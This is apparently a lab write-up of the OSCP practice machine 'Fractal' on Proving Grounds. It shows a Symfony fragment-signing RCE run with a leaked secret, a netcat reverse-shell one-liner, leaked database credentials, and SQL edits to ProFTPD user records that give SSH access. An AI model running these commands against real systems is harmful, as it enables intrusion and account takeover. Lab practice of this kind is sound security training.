[OSCP Practice Series 19] Proving Grounds — Fractal

Ardian Danny
6 min readJan 6, 2024

--

Machine Type: Linux

Initial

There are ports 21 (ProFTPD, well, this is new), 22, and 80. Let’s check FTP. There’s nothing we can do there. Now, let’s check port 80. It’s just a regular page.

Nmap discovered /robots.txt earlier. Let’s check it.

When visiting /app_dev.php, it seems like we are logged in.

We can see the CMS version: Symfony 3.4.46. I googled for an exploit and found this informative article on ambionics.io.

Foothold

We can use /_fragment to run arbitrary code. We can try it but we will always get 403.

This is because quoting from the article,

the request has to be signed using a HMAC value. This HMAC’s secret cryptographic key is stored under a Symfony configuration value named secret

This configuration value, secret, is also used, for instance, to build CSRF tokens and remember-me tokens. Given its importance, this value must obviously be very random

Unfortunately, we discovered that oftentimes, the secret either has a default value, or there exist ways to obtain the value, bruteforce it offline, or to purely and simply bypass the security check that it is involved with. It most notably affects Bolt, eZPlatform, and eZPublish.

Furthermore, an attacker can escalate less-impactful vulnerabilities to either read the secret (through a file disclosure), bypass the /_fragment signature process (using an SSRF), and even leak it through phpinfo() !

We need to generate the correct HMAC hash. To do it we have to find the APP_SECRET first.

We can read PHP info on /_profiler/phpinfo .

But there’s no app_secret here. The second method is via SSRF, but we can’t use it. The default value doesn’t work because it’s for Symfony <= 3.4.43, while ours is 3.4.46. Another method is via a file read vulnerability (we need to read app/config/parameters.yml or .env), but we need to find the vulnerability first. During my research, I stumbled upon this blog post.

Here we can see the file read vulnerability on /app_dev.php/_profiler/open=?file=

Now we have the DB creds and app secret. Let’s get our RCE.

parameters:
database_host: 127.0.0.1
database_port: 3306
database_name: symfony
database_user: symfony
database_password: symfony_db_password
mailer_transport: smtp
mailer_host: 127.0.0.1
mailer_user: null
mailer_password: null
secret: 48a8538e6260789558f0dfe29861c05b

First, we need to generate our HMAC hash.

$ page="http://192.168.207.233/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull"
$ python -c "import base64, hmac, hashlib; print(base64.b64encode(hmac.HMAC(b'48a8538e6260789558f0dfe29861c05b', b'$page', hashlib.sha256).digest()))"
http://192.168.207.233/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=wIsrcJG1EPF0Q77j5WXO6OpVLJQpuyuXMZad8eiJs2A=

Hmm… I also tried it in the /app_dev.php, and I’m sure it’s working, but there’s an error.

I googled for an exploit and discovered this: https://github.com/ambionics/symfony-exploits/blob/main/secret_fragment_exploit.py. It’s from ambionics as well, which means it’s good.

Seems like method 1 doesn’t work. Let’s try method 2.

It works! Let’s get a reverse shell.

python3 secret_fragment_exploit.py 'http://192.168.207.233/_fragment' --method 2 --secret '48a8538e6260789558f0dfe29861c05b' --algo 'sha256' --internal-url 'http://192.168.207.233/_fragment' --function system --parameters 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.45.200 80 >/tmp/f'

We are in.

Getting User

There’s this benoit user. Check the MySQL db. There are no tables on the symfony database.

I ran linpeas and discovered phpmyadmin credentials.

/etc/phpmyadmin/config-db.php:$dbpass='9gofRqnnz0zb';
/etc/phpmyadmin/config-db.php:$dbuser='phpmyadmin';

However, the password is useless for both benoit and root.

After a while, I couldn’t find anything. I got a hint that we have to go back to the ProFTPD service we found earlier. It turns out there’s a configuration directory for it in /etc/proftpd. In the sql.conf file, we discovered MySQL credentials for ProFTPD.

# databasename@host database_user user_password 
SQLConnectInfo proftpd@localhost proftpd protfpd_with_MYSQL_password

Let’s check. Okay, now we have a new database.

Okay, there are credentials that we might be able to use to log in to the ProFTPD service. Hmm… but the hash is kind of weird. Even hashcat doesn’t have a mode for it. Ah, like the previous machine, why don’t we just add a user or change the user’s password? I think I will update it. This article explains how we can generate the password:

https://medium.com/@nico26deo/how-to-set-up-proftpd-with-a-Mysql-backend-on-ubuntu-c6f23a638caf

/bin/echo "{md5}"`/bin/echo -n "password" | openssl dgst -binary -md5 | openssl enc -base64`
update ftpuser set passwd='{md5}X03MO1qnZdYdgyfeuILPmQ==' where id = 1;

Nice, now let's log in.

Nice. But since the home dir is /var/www/html, I think it is useless. Let’s update the homedir to /home/benoit or /root perhaps.

update ftpuser set homedir='/' where id = 1;

Now, the question is, can we write to it?

We can’t. Change the shell to /bin/bash?

Still denied. Edit the uid and gid.

update ftpuser set uid=1000,gid=1000 where id=1;

Cool, it works now. I created .ssh directory and put my public key there so that I can ssh as benoit without a password.

Awesome.

Getting Root

Well, GG.

proof.txt: 8fc135dbc1d41c41ea69a041202cef89

Learned

  • The things that you found at the early stage still can be used for root.
  • Always look for others' infosec blog posts, mostly the answer will be there.

--

--

Ardian Danny

Penetration Tester, Ethical Hacker, CTF Player, and a Cat Lover. My first account got disabled by Medium, but it won’t stop me from sharing the things I love.